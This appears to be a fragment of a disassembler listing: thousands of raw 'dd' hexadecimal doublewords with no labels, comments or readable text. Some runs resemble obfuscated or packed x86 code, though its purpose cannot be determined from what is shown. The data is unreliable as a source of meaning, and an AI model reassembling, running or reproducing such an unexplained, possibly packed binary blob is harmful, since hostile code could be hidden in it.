		dd 8FF75CC6h, 0A4FBB08Fh, 3Eh, 129B3716h, 9F53E976h, 84BACF74h
		dd 3DD3A11Bh, 4467C1CDh, 0FF60F9D8h, 0C2EC3738h, 80E065C1h
		dd 456445DCh, 0C07DE2DCh, 44DDFC60h, 52AA740Fh,	5FC46E15h
		dd 0FBB056E7h, 0B10Ch, 0D64FBE00h, 5FC9F76Eh, 46BF81E5h
		dd 9CBD2781h, 17CD3B05h, 0D9E77E36h, 5F61F86Ch,	0EEA12DE6h
		dd 59DBF899h, 664ED178h, 0AFC9304Fh, 19278E36h,	0BC27ACh
		dd 4640FB64h, 0A889C930h, 0BA561089h, 0F8C01820h, 2C0DD78Ah
		dd 7449D748h, 0A988CF74h, 63AA4600h, 0DC939807h, 384AC932h
		dd 0D83475E4h, 4D3B73B0h, 0D036086Ch, 2583BD14h, 6E01ABFh
		dd 8F167DE1h, 2021Bh, 0B6269C00h, 1FC5211Fh, 0A41888B6h
		dd 6ECE330Dh, 0D58FF9C7h, 66D65E7Ch, 0D3ED4400h, 6759F074h
		dd 0D7E940FCh, 1B5FF66Eh, 4239E07Fh, 0C492C2E5h, 6BD94F76h
		dd 0DD87FCC2h, 9B37C674h, 53E97612h, 0BACF749Fh, 0DA9D029Bh
		dd 0DAC2EC88h, 349075A1h, 0C1FBB0A8h, 0E5h, 2BD64F73h
		dd 309405B4h, 904BD4C9h, 39C93094h, 950A6E18h, 0C93093E6h
		dd 0C6E7C6E7h, 5D07615Fh, 997B5BC4h, 49BAC930h,	909A41DEh
		dd 4133C930h, 152FF80Bh, 426342ABh, 1F005426h, 5CE0E008h
		dd 0CFEE77E5h, 0CF75D0EEh, 744A2E87h, 0E8C9500Ch, 0BEF66ED6h
		dd 0C5A12380h, 90D88CFBh, 0F5536D09h, 85F7D64Fh, 5530B40Ah
		dd 0C680C861h, 1887E32Ah, 0CF747A86h, 89CF6647h, 57C8ACE9h
		dd 0C9331BF7h, 0D335776h, 17CD369Bh, 0A9365236h, 0C92DD8F2h
		dd 1BB2FADBh, 0A401C325h, 7DE18C64h, 897039Ah, 82000001h
		dd 2B15BC20h, 9EA009BBh, 2D13BA22h, 9FA108B4h, 3012BB29h
		dd 521274E8h, 0E262C5FBh, 0AE0E754Bh, 18CC3907h, 0E91F5B1h
		dd 0C2E5414Bh, 4F982A7Ch, 0A6C26BD9h, 4D1EC3D4h, 0ACE4897Bh
		dd 1AB33192h, 6ED64FA8h, 0E85CC9F7h, 226B0741h,	0C3502246h
		dd 783245EBh, 0C970EF8Bh, 2C92FB7h, 0FAF46B23h,	3BCF7AFFh
		dd 48BD831Ah, 9A0B359Ch, 0F72CB32Ah, 0E9E1DDBDh, 3AAB8892h
		dd 158AEE8Ah, 0B07D6966h, 0A70E4667h, 3CA72C99h, 0A1C5A180h
		dd 7D697B3Eh, 256D4CB0h, 0A01D82BCh, 70029B41h,	0FE93BE4Dh
		dd 725337h, 76C4B024h, 0B4D0F193h, 968C4FD0h, 1C3DB07Ch
		dd 861FBD22h, 4876EFA7h, 83F168DCh, 0A4A7A37Fh,	88FFC1BAh
		dd 463D45DCh, 5A027FDCh, 0BBC3E2C3h, 8CF956C0h,	0B366F99Dh
		dd 14B07CE5h, 0E4EFAA35h, 0F9D8B07Ch, 0D64F71D8h, 0CC340A6Eh
		dd 0E0A88910h, 0DED79h,	155F0000h, 942BEE71h, 0BD9CC930h
		dd 4F7FCDF5h, 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh
		dd 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h
		dd 81E38953h, 4C3h, 4EB8300h, 2474FF53h, 48F5B04h, 0B685C24h
		dd 89000058h, 8957243Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 241C895Ch, 4908BA52h, 5F52064Bh, 4EC835Ah, 81242489h
		dd 42404h, 575B0000h, 0BE240481h, 8F1ACB60h, 0BD550843h
		dd 1ACB60BEh, 5D086B29h, 5B2434FFh, 4C481h, 34FF0000h
		dd 0C4835F24h, 29A8E904h, 2C3BFFF9h, 3D253766h,	54FAB80Ch
		dd 0C503064Bh, 87EDE0FFh, 0F6166F16h, 0EB5216Eh, 63E27E8h
		dd 4EB7837h, 556925C6h,	5AFE9h,	0CE6ED400h, 77ED5967h
		dd 0DC80E0DEh, 66D64B75h, 2D97F1CFh, 9E7EA684h,	2B15BC28h
		dd 9FA108BCh, 2F11B824h, 0E3A70EB6h, 3F611887h,	3C6AC2E5h
		dd 6ED64F8Eh, 68F793F7h, 0C93094B1h, 4D733B1Ah,	7F0D69DBh
		dd 51606B86h, 5ACE47Dh,	0DF9A0561h, 0E8C92FB3h,	46BF81C9h
		dd 39A02481h, 9EA03918h, 1826BF25h, 0EAA138ACh,	70D4EA8Eh
		dd 0B4B06BF4h, 3819C92Fh, 6A229A06h, 720511h, 0BF269802h
		dd 0F5A43B7Eh, 0D6C92FF0h, 7EE8D6F7h, 53B08EC6h, 9B063891h
		dd 87B4521h, 0A4ECCD54h, 73D0330Dh, 5337AE0Eh, 2FF10DCCh
		dd 0BE9FBEC9h, 0CD38069Fh, 50B08E17h, 0DC4B75ECh, 94EFF168h
		dd 0AECAB28Ah, 0F1A655CAh, 627C92Fh
		dd 0CE9354Eh, 0B08E2795h, 87F59153h, 835722A7h,	1188C0D1h
		dd 303BC88Eh, 8892E9C9h, 0F45B43A3h, 5DF001h, 4F420000h
		dd 68F76ED6h, 0C93094AFh, 0EC75EF54h, 56CF6DD2h, 8577A3D8h
		dd 0A98E98E3h, 1F4B33Dh, 1F6h, 0D74F4400h, 5ACAF46Dh, 0D44D73EAh
		dd 0FC372A3Bh, 84A59E1Ah, 671D92E0h, 7C94BFA7h,	82E6AD34h
		dd 0A37194E6h, 290C9C7Fh, 308B03B6h, 0ADE5C4C9h, 77EF4CD6h
		dd 0E95A64CDh, 4F60D27Bh, 60BD38D9h, 0DF998A13h, 887524BBh
		dd 7756C930h, 940C3256h, 188FB128h, 5CC58DACh, 26420262h
		dd 881EDD42h, 0CBAFC930h, 3088A554h, 260726C9h,	0B4222C54h
		dd 672F06B4h, 8F9BE0FEh, 0B09C8AF8h, 99FA4650h,	0ACC43AEBh
		dd 0F8B01BE5h, 3EA160C6h, 0C92F977Bh, 0E54C6D4Ch, 63FA6ADBh
		dd 0BC83907h, 920B2A9Ah, 5DC5FBB3h, 452166FFh, 0A25D237h
		dd 2FE3E695h, 0B4C6E7C9h, 7F37749Ch, 0E1351A04h, 1201F44Ch
		dd 6Dh,	0CE8D1276h, 0FFC93038h,	65FC60C1h, 9E016544h, 0C93038DBh
		dd 3785CDECh, 0F26BD94Fh, 8CE854CCh, 0A9351B2h,	0B1FA632Bh
		dd 95F360CAh, 86E2862Fh, 30946219h, 24A6BC9h, 831ACA3Ch
		dd 19844BDh, 0A71C2246h, 9434E778h, 0B495C930h,	652D0C95h
		dd 0C72F141Eh, 6C01F4B1h, 47h, 6BD94FDEh, 0E755CCF2h, 0C36F147Eh
		dd 0DD74F056h, 6DD74F6Fh, 31AE90F4h, 9A5CC38Bh,	3BC93094h
		dd 5123D640h, 0F1EF63EBh, 0C0F6BE3Dh, 1F41C64h,	1291h
		dd 2A87F500h, 6173D4A3h, 26D54A2Eh, 0A7C9300Ch,	157CCE86h
		dd 942BEE71h, 0BD9CC930h, 0E557CBF5h, 63E1427Ch, 3DFC6307h
		dd 8EC93094h, 67EE7AFh,	201EB17Dh, 0A5841DBFh, 23BA2A9Bh
		dd 0C744A02h, 4968D44Fh, 7FE084E0h, 0C93094BCh,	0E67FDD45h
		dd 0D890B1C7h, 3FA4F29Eh, 5FC0A485h, 0CF74B0EDh, 0A0C45D7Ch
		dd 0F7BF259Eh, 41E85CC9h, 4E9B5725h, 0FE5C392Bh, 9B56059Ah
		dd 5677C2EBh, 1C3201Eh,	9B520798h, 146FC2EBh, 0CB82D0Ah
		dd 0BA2A9BA5h, 3CA81D23h, 0B82C9BA5h, 3BA91F21h, 0CB572CA2h
		dd 0A146F71h, 0A50CB82Dh, 0AFBA3393h, 129C0FBh,	37720000h
		dd 0E976129Bh, 0CF74C1A3h, 3652CBEAh, 670ECD52h, 9EBFC2ECh
		dd 0C97BE8D6h, 0DB01DFADh, 9224291Dh, 0D84D73DAh, 70511373h
		dd 0F66ED7E9h, 2B15716Fh, 354E06B6h, 7E970CE9h,	49F7E615h
		dd 0F86CD9A4h, 40614061h, 0B267DFE9h, 0DCB8FBB0h, 0EC9F9843h
		dd 581031C2h, 3D08h, 9F37BA00h,	7EED7216h, 0CFC93094h
		dd 4BB48AEEh, 8B39AF91h, 16C55AC3h, 4FC93094h, 0E175EA34h
		dd 6A543054h, 0FFDE47F5h, 77BCB8Dh, 0BEF6C279h,	3085CA21h
		dd 8B2203C9h, 921Fh, 9B37AD00h,	60127612h, 0C05A6076h
		dd 0C93907CFh, 7AC45B13h, 0DBCF745Eh, 0E85D63FAh, 0E37C187Ch
		dd 0C2EC4638h, 51F8B091h, 0F6B14735h, 274B95Dh,	6B42F966h
		dd 0AA8BC2ECh, 0FD67DCE2h, 6C3BFB64h, 0C73AC2ECh, 54B28C15h
		dd 16280990h, 0CBAF36AEh, 0EC6BA554h, 890726C2h, 0BED428F2h
		dd 87FC59C5h, 9E3274DDh, 0BBEC7317h, 8C937C0h, 158EB029h
		dd 354E36AFh, 2DC74E9h,	0CD5746ADh, 4F2B0A7Ah, 6C42B7D0h
		dd 0BC1534CFh, 7823BCD8h, 51C2EBA2h, 378A3870h,	476129Bh
		dd 0B3A44E7Ch, 62064E41h, 7B59CCFDh, 0BE2719CFh, 80BE9F06h
		dd 69FBE26h, 0B019CB38h, 6C2FB0D4h, 5DC2E4CFh, 990A347Ch
		dd 12714F2Bh, 2C1233AAh, 0B3920BB9h, 380662FBh,	0AE8F16CEh
		dd 4E0B79E6h, 47F1607h,	1CC83D1Ah, 67DD4678h, 907A8A15h
		dd 440C28D9h, 0F272D3EDh, 23EC556Bh, 83691B85h,	9C052425h
		dd 0A6939FE4h, 102E873Dh, 3CA831B3h, 3,	4FFB498Eh, 0C0FE67D5h
		dd 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h
		dd 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 81E18951h, 4C1h
		dd 4E98100h, 87000000h,	895C240Ch, 89532414h, 4C381E3h
		dd 83000000h, 1C8704EBh, 1C895C24h, 6696824h, 4890000h
		dd 4CBA5224h, 0C14EE55Dh, 0D2F702E2h, 5A8CA81h,	0EA810E49h
		dd 152E2AC5h, 7E8EB951h, 0E181350Eh, 0D36A01h, 0A70E981h
		dd 814956AEh, 8861F4C1h, 43E98125h, 815F1D42h, 59DCC9C1h
		dd 59CA2908h, 0B386EA81h, 0D3893AD8h, 3788685Ah, 24890000h
		dd 24048324h, 0F0685804h, 89000000h, 8BA2414h, 1000000h
		dd 5A1A89C2h, 5124048Bh, 0C181E189h, 4,	8704C183h, 8B5C240Ch
		dd 8957241Ch, 4C781E7h,	83000000h, 3C8704C7h, 0DBE95C24h
		dd 73FFF923h, 60770C7Fh, 0ED51CCB6h, 0B39E16A4h, 4B5A7AB8h
		dd 0FFC50306h, 58D92FE0h, 0E27F195Fh, 0A6F4105Ah, 4D721B4Eh
		dd 998A201Dh, 365AC309h, 7EB31173h, 0B49D5153h,	6DB43834h
		dd 0A5F11027h, 0FF492047h, 0C137AE46h, 43BC3F6Bh, 472EB849h
		dd 8604EB10h, 0E9505831h, 4FBh,	58F16BD9h, 0EF46FE66h
		dd 62CB71D1h, 0D079E35Ch, 65CC78EEh, 97FDD47h, 59CCF25Bh
		dd 57C42EBh, 63C0FE57h,	680C48E1h, 0E53944F7h, 0B7D385C2h
		dd 0C1A51F89h, 0E5399B5Eh, 450D2CC2h, 6ED64FF7h, 0E55FC9F7h
		dd 5311724Ch, 0D58FF4CAh, 5212724Ch, 0D391F5CBh, 5311744Ah
		dd 4FDBA0CAh, 61CDB6FDh, 55CA8FF4h, 0D0A2C6E7h,	3D3039B0h
		dd 0B11850EAh, 1A8148Fh, 8118C43Fh, 59C48BFh, 3F1C067Dh
		dd 8FB118C4h, 0A837AE16h, 0C92FDFEEh, 856AB4CFh, 1F3FF21h
		dd 62D2h, 0D64F6000h, 3B780A6Eh, 94858D5Fh, 0DBBF266Eh
		dd 0D37920BFh, 7352C92Fh, 0D2F3A43Bh, 0BBC0C92Fh, 0F21A8A6Fh
		dd 1DB01F3h, 69000000h,	0F46DD74Fh, 0B06BF490h,	19C93094h
		dd 0D64E7038h, 58C9F76Eh, 4D367DE4h, 111074E1h,	3093CB8Eh
		dd 5DC2FCC9h, 664766FFh, 5475E758h, 0E262C3FDh,	0B0112F4Bh
		dd 4FF6440Ch, 0CCF26BD9h, 6B75EC58h, 45F46B0Fh,	86C93094h
		dd 94BE7DE2h, 2E0FC930h, 0F23C470Fh, 8821A305h,	0F3974DB6h
		dd 71E854CDh, 0BF811850h, 202CCA43h, 0A32710E0h, 0C3251B82h
		dd 63FC9801h, 0C92F9AB8h, 930E3011h, 0B3C8B029h, 0B6D29567h
		dd 0D34E71C4h, 2382F074h, 0A9D29A0Bh, 8F3C987Dh, 97F901F4h
		dd 4B000000h, 8BC2B15h,	5C087E40h, 9087FBC5h, 30944C0Fh
		dd 0DE437DC9h, 0E77E5F7Eh, 0EE4BD7ACh, 165CC78h, 841DC73Fh
		dd 75D3EDA5h, 68F173D0h, 5776EE56h, 0EF8BEF76h,	3094C970h
		dd 6B2302C9h, 0E970EC55h, 0AFB8CAAEh, 0BDDD812Eh, 0B19054B1h
		dd 0B39882F9h, 1F40663h, 5490h,	0D94F2200h, 55CCF26Bh
		dd 947E3DA2h, 714FC930h, 1534AD17h, 15711534h, 3093CF8Ah
		dd 91D9F8C9h, 38066208h, 0D58D40C9h, 0C2597B3h,	0DD95B42Dh
		dd 299F7CA6h, 2FF4B9E8h, 2236876h, 0D74F19ABh, 0AD6BF46Dh
		dd 0CC93094h, 0DE46AB77h, 1701F4B3h, 1,	69D34FA5h, 0EF55CEF0h
		dd 546A0E76h, 0F7D64FEDh, 0FD5AC4BFh, 1A7ED785h, 9D04C024h
		dd 1EB2F4BCh, 0FE6CF397h, 4FCF74B0h, 5CC9F76Eh,	67F41E8h
		dd 9F58C75Eh, 30C2EC78h, 1172DF4Bh, 5FC4FA53h, 0E1427CE5h
		dd 9FE4FA63h, 88EFC93h,	0A91B88DBh, 5B75F6DBh, 0CB82D13h
		dd 68ED5668h, 0FF6647FDh, 5B3F96DEh, 9FF9A03Fh,	0F3D2C2EBh
		dd 0A0510897h, 5B7AC2EBh, 0BFC12513h, 2246FBAFh, 0AC22D946h
		dd 8AABC2EBh, 0EBAC6615h, 0E4667C2h, 1475Eh, 605E3A00h
		dd 0F8D94004h, 0EBACB467h, 7C3415C2h, 129B37CEh, 0EB330476h
		dd 0D8296FDDh, 0AE90F490h, 5CC38B31h, 0CF74120Eh, 0D9E77E5Fh
		dd 0E269AB6Ch
		dd 0BDA8D45Dh, 79D7BDCFh, 0D3F2A351h, 6BC1C5B7h, 0F88C3769h
		dd 7EE75DC6h, 80BE175Fh, 0FBC5A123h, 22BDD98Bh,	0C2EBC377h
		dd 0A0397150h, 26BF259Eh, 7AD74338h, 4D3F5B09h,	4F2C7BF6h
		dd 7BD29AE3h, 91DC6D1Fh, 0E8072956h, 652E96A0h,	3EC7FBB0h
		dd 75000000h, 72169F37h, 30947EEDh, 77EECFC9h, 9BB2D13h
		dd 941BDE41h, 2F54C930h, 4FC66E03h, 14714F2Bh, 24871850h
		dd 0A5C93094h, 66DEE084h, 7B1FB6FEh, 417FDD45h,	0BC2860E4h
		dd 88h,	0D9B370Eh, 9EBF2696h, 0FA44DBBFh, 5BCF74A0h, 68DDE37Ah
		dd 0FA6B55FCh, 884CD34Ah, 0D9C2EC89h, 0FFC178A2h, 6647DE86h
		dd 31B3102Eh, 0FB32DE98h, 0BAECED9Fh, 4E9BAFE6h, 38066206h
		dd 0EA8E17CDh, 0EBC2C675h, 72607C2h, 1DB2D04Fh,	739C937h
		dd 9EBF269Eh, 1881A0D6h, 6307BD26h, 0AE19807h, 3FA2C921h
		dd 82CAEB9Dh, 3907631Bh, 0B48A13C9h, 0FCB4954Fh, 2AC69B87h
		dd 0EA1887E3h, 0E3CF6C66h, 310F6BC2h, 0EA5810D4h, 76129B37h
		dd 7BEFBBE9h, 0C13E00CFh, 1B25531Bh, 6B62AA7h, 0BE9FBE9Fh
		dd 38AC1927h, 8E36AF91h, 89FD8817h, 88F318F8h, 9054B19Eh
		dd 269E0739h, 0BC2081BFh, 0FC265D25h, 973EA61Fh, 0F956CDF3h
		dd 6D4CD58Fh, 0C93A044Ch, 816821Bh, 72000000h, 256DD74Ch
		dd 4FFB4997h, 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh
		dd 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h
		dd 69F768h, 24348900h, 5F7D68h,	24348900h, 5E08950h, 4
		dd 42Dh, 24048700h, 2404895Ch, 657E7ABEh, 81DEF716h, 767195C6h
		dd 3C68166h, 81745E1Ah,	0D81EC8EEh, 1CBB5345h, 0F7581050h
		dd 0AE381DBh, 8118CF14h, 105D77F3h, 5BDE3172h, 5B8BEE81h
		dd 8B5405FEh, 0C4832404h, 11546804h, 1C890000h,	89F38924h
		dd 8B5B0858h, 89502404h, 405E0h, 0C0830000h, 24048704h
		dd 2434FF5Ch, 4C4835Eh,	0F91E95E9h, 4D0908FFh, 49C0930Fh
		dd 56BE2F6Eh, 0B8EBCF6Fh, 64B5FF6h, 0E0FFC503h,	46B1348h
		dd 6F89584h, 17C83A7Fh,	317B81D7h, 479CE8B6h, 3359A239h
		dd 1C2D4A0Eh, 713704EBh, 69E900A3h, 8E000005h, 3F01A814h
		dd 8AB41DC7h, 310FA616h, 0FBC56CD0h, 5C7ED78Dh,	46FE68D4h
		dd 0CE76D1EFh, 72EA5967h, 0C480E5DBh, 0D24D296Dh, 0C2E53427h
		dd 4F44F6A0h, 5B42BD6h,	0C6C93094h, 615FC6E7h, 90F45D07h
		dd 94B06BF4h, 940BC930h, 0C93093E5h, 90B1C7E6h,	0C77DE6D8h
		dd 5E03605Eh, 0C55C7DE7h, 40D98BFBh, 0F6516F0Bh, 84F6D74Eh
		dd 1F2770F9h, 6F145C7Fh, 68ED56C3h, 0F1D049FBh,	75EC58CFh
		dd 0B8DC7554h, 1E16E6CAh, 5D0BEBE9h, 0B8B0C2E0h, 4AF16E17h
		dd 83C93082h, 0F5CB83A2h, 6AD2318Eh, 65DCE24Bh,	681B80A4h
		dd 390C9C1Ch, 0F90EF7EFh, 128BAA8Bh, 920BB92Ch,	0A88591EAh
		dd 0D9E78339h, 1C87A66Fh, 0D77E3E75h, 64E6FF6h,	0B03491AFh
		dd 7D00B629h, 0AAD1C930h, 9C2B9B80h, 89C801F4h,	7A000000h
		dd 92DB6715h, 0C543604Bh, 0D752B38Dh, 2FBA9148h, 3A1B3AC9h
		dd 0BA7B3CA3h, 0A500C92Fh, 2E98A63Fh, 1F642FB6h, 245F3913h
		dd 0D9B115FAh, 14201F3h, 0F0000000h, 0F46DD74Fh, 73EA5ACAh
		dd 0C77D44Dh, 0D6E87150h, 5668F16Bh, 49FB6DEAh,	0CC83F168h
		dd 0B7D72A4h, 0FA245F14h, 0E8324902h, 4AF26F51h, 84BAF2D3h
		dd 0FEC0A420h, 6746DF85h, 8DDD9C03h, 0CFEEC930h, 0B3102E87h
		dd 0C2FC9831h, 49BFF5Dh, 0C9308E55h, 0AD1F5776h, 2BEE7115h
		dd 9CC93094h, 5DCBF5BDh, 0E4407EE7h, 5FC7F960h,	0F8D98BFAh
		dd 7AE25F61h, 84FCC2E3h, 87F41D8h, 0C26C175Ch, 32F544Ah
		dd 4B7284Ch, 8DC93094h,	1332AB19h, 320C4465h, 87B910D4h
		dd 13FA61Eh, 0E5A23BA1h, 8FFD949Eh, 9F62F4A4h, 0A89ED6F6h
		dd 1F4824Ch, 0A3E9h, 0D94F5B00h, 8EAF0D74h, 0F470D4EAh
		dd 0CF6A1D86h, 0AFE77A7Ah, 24980836h, 0AC92F6BDh, 35148D37h
		dd 0B10BCE51h, 9DBCC92Fh, 0CD84AED5h, 0B18336A9h, 0C956C92Fh
		dd 0C92FB112h, 0CDEC9ABBh, 98D094F3h, 2D8440A6h, 520A7749h
		dd 2C2241Ah, 65C1FF9Bh,	0E85866FFh, 231D5574h, 0C0871EBEh
		dd 0E6D86FBBh, 7C5DC480h, 0CEB20234h, 4C4301F3h, 0F1000000h
		dd 0C74D94Fh, 0C9E8C950h, 0A356C9ADh, 24C93094h, 0B0D44D05h
		dd 0E5AD178Eh, 6DF468DBh, 45B27C07h, 0DF4024E3h, 0C930941Ch
		dd 68138CADh, 61C93094h, 7AC86140h, 0F46DD74Fh,	3094AD6Bh
		dd 0AB770CC9h, 0F4B3DE46h, 11701h, 4FA50000h, 0CEF069D3h
		dd 0E76EF55h, 6416A975h, 0E9C6FC5Ah, 76EE5791h,	0C1211F57h
		dd 5CF4B21Bh, 0C02AB5D1h, 9CF73D4h, 95A4417Bh, 9DBC74E3h
		dd 1BC93A04h, 0AD178CB2h, 8732ADC9h, 40C2EC24h,	0D4B02961h
		dd 0FD410FA6h, 501838EFh, 0EBAB0ACFh, 0D193F3C2h, 4A0F7648h
		dd 0D04968DCh, 0C069B5CEh, 9FA75B81h, 97FDDC1Fh, 70D542ECh
		dd 2635DF4h, 0AF542642h, 48273995h, 4779E0A8h, 0E1FF66DEh
		dd 0FD23F785h, 0E1BE6CF3h, 62FB69DFh, 0A6700B43h, 0C168DC49h
		dd 0B0448FF7h, 12CA4FBh, 37160000h, 0E976129Bh,	0CF74C1A3h
		dd 0B25BC6F8h, 4C539189h, 0E8A081D0h, 1826BF9Eh, 0AE9039ABh
		dd 72168F35h, 7B245500h, 0D1995674h, 57CE76EFh,	0BE83249h
		dd 0B5832A9Ah, 0FBB06451h, 5FE2h, 4EB88600h, 23C0F7C5h
		dd 5170DCBBh, 9F37AB19h, 3229A09h, 0C53D0367h, 0DDAF8E17h
		dd 20DBF83Fh, 32ADE57Ah, 0C92FB9D7h, 30EB7410h,	99C92FB9h
		dd 9F0099B8h, 0C92FB8DCh, 0DC46E15h, 6E12907Fh,	5B136FC4h
		dd 583C791Dh, 941FB66h,	0CE37096Dh, 6AC15E16h, 0E3C92FE6h
		dd 8FFF6BC2h, 4D000000h, 4B82B15h, 0B2F4BC9Dh, 6CF3971Eh
		dd 0CF74A112h, 0F5CB5273h, 8EB0D490h, 2D94AA12h, 7F37168Fh
		dd 8C7BE8D6h, 0EC886813h, 8BC29C2h, 0E7C6B091h,	24D89E95h
		dd 0B899515Eh, 0D0F6BE21h, 502BC2EBh, 960D33C6h, 0D69EBF26h
		dd 0ADC97BE8h, 31912E93h, 1233128Bh, 4BE2AA8Bh,	4C28650Dh
		dd 3730DCD3h, 0A53C1DC9h, 23BA2A9Bh, 0C45B3F5Bh, 0C920F015h
		dd 42DB81FEh, 7C341563h, 0AA461B07h, 0C8390763h, 0E4AC8D14h
		dd 51101F80h, 0F0D1CF6Ch, 9B37EB59h, 0EABF4841h, 0BBF6545h
		dd 0D6CAB8D1h, 63E1426Eh, 98076342h, 0CF7B7595h, 2D137756h
		dd 0CD3907B5h, 0E7AF8E17h, 61E3407Eh, 1ACA3B05h, 753AE17Eh
		dd 0B293C2E5h, 0F86D53FAh, 8FB1D54Ch, 2F90AE16h, 7D35148Dh
		dd 0CD8CE7E2h, 0BC661DC9h, 0D77EE65Fh, 7D0AC1B3h, 26CF8328h
		dd 71F3506Eh, 0F369D6E8h, 0AD6CF397h, 1EC88CFAh, 96EE773Fh
		dd 6FD441EDh, 1625CF5h,	34EDA43h, 0FC000000h, 0D54FFB49h
		dd 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h
		dd 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 81EDFA63h, 4ECh
		dd 241C8900h, 0C381E389h, 4, 8704EB83h,	685C241Ch, 0B5Fh
		dd 68240489h, 4BAAh, 53240C89h,	3376B6BBh, 0D777B855h
		dd 8B2D5B7Eh, 2954194Ch, 4C8B05D8h, 685B5419h, 618Bh, 81242489h
		dd 42404h, 68590000h, 3627h, 89241489h,	85189C2h, 2434FF5Ah
		dd 4C48159h, 0FF000000h, 81582434h, 4C4h, 18F4E900h, 5B66FFF9h
		dd 7B2651B7h, 4B65ADB8h, 0FFC50306h, 0B7C9FDE0h, 4C637328h
		dd 0C9AF1D35h, 0C7BECE00h, 0B5BD5E0Eh, 0AF0F9C74h, 1CC14C56h
		dd 0CC18850Bh, 4431995Bh, 0D1FC986Bh, 0BB2F2E77h, 57737046h
		dd 9DF47D0Eh, 41D24269h, 909B244Eh, 9270232h, 0F8E11E3Fh
		dd 0A62B157h, 0FC48E415h, 1DD8BD12h, 8D8D8D7Ah,	6A064B67h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 6040C355h, 29922D99h, 4423898Dh, 0A9BD8906h
		dd 89064432h, 442F5D8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 6E3EE4DCh, 0B529F016h
		dd 64432BDh, 69F78166h,	7985C73Fh, 0B8064406h, 6A000063h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0FAAC352h, 0AA2D61B6h, 8E8ECh, 6A420000h
		dd 8EADAB33h, 665F8ED6h, 0A66ECA81h, 107185C7h,	644h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 1B990C3h, 9D8B3431h,	6442D79h, 0D55B5FFh, 6A0644h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 19DAADC3h, 0FC28915h, 95FFD7B7h, 6440BF9h, 95FF006Ah
		dd 6441C4Dh, 1EEBC08Bh,	0D8E90424h, 533774B6h, 0B87AAF53h
		dd 58208AA5h, 37918F84h, 97424EE6h, 760CD07Ah, 4EB91A9h
		dd 3FE2EBFAh, 64FE9h, 2E8EF400h, 974DB987h, 3CA0003Eh
		dd 8636AB95h, 0DB7112Fh, 0BE9E86A4h, 0B359C48h,	0BF81289Ch
		dd 0F319844h, 0C3872E96h, 2D8138A7h, 1C4AC2E5h,	6ED64FAEh
		dd 34AD93F7h, 88FEC088h, 0DA4B75DCh, 9D7E4D39h,	1839DCD0h
		dd 9E46BF81h, 17CD3907h, 74BEC58Eh, 0DE7EE3DDh,	0FDBC2347h
		dd 0CEC93046h, 0B886CEEFh, 0E30994Bh, 734D2993h, 0ACC85113h
		dd 30478833h, 416041C9h, 0FAC4A009h, 0A09ED686h, 40C4C841h
		dd 90641474h, 35148D2Fh, 92AC3514h, 5028B133h, 0AF12FF2Bh
		dd 920D690Dh, 0C92FE6E7h, 2089C1E0h, 5B3FA51Eh,	0E6F9A03Fh
		dd 0F3D2C92Fh, 0A86F8A81h, 155DE11Ah, 0CF65138Ch, 0F74C92Fh
		dd 0EEC63E23h, 756F01F3h, 0DD000000h, 1BB82B15h, 8FAE37ADh
		dd 5E1637AEh, 0D8410360h, 30949247h, 0CE5823C9h, 0F4B3FD69h
		dd 13601h, 15840000h, 930ABA2Bh, 60C4FAB2h, 0E3437DE4h
		dd 0E140057Eh, 0E27B5A7Bh, 60F963DCh, 0E47DE75Eh, 9C739096h
		dd 655BDCF0h, 0E5DB4202h, 0F388C381h, 0E59ED527h, 0FC68DC39h
		dd 0A04FEA98h, 0C16668C5h, 7A442089h, 0FFC1580Ch, 0C6F8D983h
		dd 94AAE25Ah, 0AE1CB52Fh, 0B12ED94Fh, 0C930940Ah, 0A7C3E2C3h
		dd 5480CED5h, 7F37D65Ch, 0F86CD8E6h, 1A047F61h,	0B019CB3Dh
		dd 2AFC158Eh, 877806B5h, 5AC379E8h, 0F5285A7Bh,	0F00BEB9Eh
		dd 0D6E87150h, 2C6BF26Ah, 0E66CB57h, 2701F44Ch,	0B2h, 6BD94F95h
		dd 0E854CCF2h, 68D44F71h, 0E953CFF1h, 9156E70h,	221C7833h
		dd 0EA104CBDh, 43F3E0C8h, 0E4DAFB62h, 7B5AC381h, 71DE4833h
		dd 3A04AD17h, 0E58118CCh, 63FA6ADBh, 0CB340A42h, 4DB68811h
		dd 0D0300E97h, 4DEF526Ch, 59C5BED4h, 53DFA4E3h,	9447D8BCh
		dd 35C9301Ah, 0A6A5C14h, 2B01F438h, 7Bh, 0AE16714Fh, 711554E6h
		dd 0F56AD24Fh, 0C9309446h, 70E953CFh, 4E062751h, 37AE1670h
		dd 46229A09h, 0B4266C34h, 0F8F67D2Ah, 0CF651714h, 0B92068DAh
		dd 3BA21A87h, 0C0209D05h, 0EFA43D1Ch, 0D8B28A94h, 2C9A77A3h
		dd 4B7511B8h, 0DFFE67DDh, 0D74F2597h, 7D7B096Dh, 150C51B4h
		dd 138C155Dh, 0C92FC365h, 3E230F74h, 1F3E2C6h, 0E6Fh, 0D0350B00h
		dd 2CEF7014h, 9DC92FCFh, 4F46F4BCh, 8B32CD3h, 0C1C93094h
		dd 6658C1E0h, 0A6DE47FDh, 7CE451DDh, 279AA4C0h,	1254FDB5h
		dd 0CC53377Eh, 0CF74B05Eh, 0D8AACEEFh, 0F966C3D2h, 69F0B840h
		dd 0DF76EE57h, 0BF1D85BBh, 714F0726h, 0ADC95014h, 0A8A356C9h
		dd 1A24C2EBh, 8DAC35A7h, 0BE7BE4ACh, 13C2EBA8h,	63D94977h
